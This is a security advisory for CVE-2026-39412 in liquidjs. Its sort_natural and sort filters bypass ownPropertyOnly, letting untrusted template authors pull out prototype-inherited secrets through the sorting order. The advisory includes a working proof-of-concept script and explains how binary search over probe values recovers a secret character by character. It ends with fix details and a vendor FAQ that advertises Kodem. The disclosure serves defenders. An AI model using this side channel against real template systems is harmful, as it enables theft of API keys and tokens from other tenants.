CVE-2026-39412

The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.

Details

In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:

export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
  const propertyString = stringify(property)
  const compare = property === undefined
    ? caseInsensitiveCompare
    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
  const array = toArray(input)
  this.context.memoryLimit.use(array.length)
  return [...array].sort(compare)
}

In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:

export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
  return obj[key]
}

The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.

PoC

const { Liquid } = require('liquidjs');

async function main() {
  const engine = new Liquid({ ownPropertyOnly: true });

  // Object with prototype-inherited secret
  function UserModel() {}
  UserModel.prototype.apiKey = 'sk-1234-secret-token';

  const target = new UserModel();
  target.name = 'target';

  const probe_a = { name: 'probe_a', apiKey: 'aaa' };
  const probe_z = { name: 'probe_z', apiKey: 'zzz' };

  // Direct access: correctly blocked by ownPropertyOnly
  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
  console.log('Direct access:', JSON.stringify(r1));  // "" (blocked)

  // map filter: correctly blocked
  const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
  console.log('Map filter:', JSON.stringify(r2));  // "" (blocked)

  // sort_natural: BYPASSES ownPropertyOnly
  const r3 = await engine.parseAndRender(
    '{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
    { users: [probe_z, target, probe_a] }
  );
  console.log('sort_natural order:', r3);
  // Output: "probe_a,target,probe_z,"
  // If apiKey were blocked: original order "probe_z,target,probe_a,"
  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}

main();

Result:

Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,

The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.

Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.

CVE-2026-39412 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.25.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-39412? CVE-2026-39412 is a medium-severity security vulnerability in liquidjs (npm), affecting versions <= 10.25.3. It is fixed in 10.25.4.
2. How severe is CVE-2026-39412? CVE-2026-39412 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of liquidjs are affected by CVE-2026-39412? liquidjs (npm) versions <= 10.25.3 is affected.
4. Is there a fix for CVE-2026-39412? Yes. CVE-2026-39412 is fixed in 10.25.4. Upgrade to this version or later.
5. Is CVE-2026-39412 exploitable, and should I be worried? Whether CVE-2026-39412 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39412 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39412? Upgrade liquidjs to 10.25.4 or later.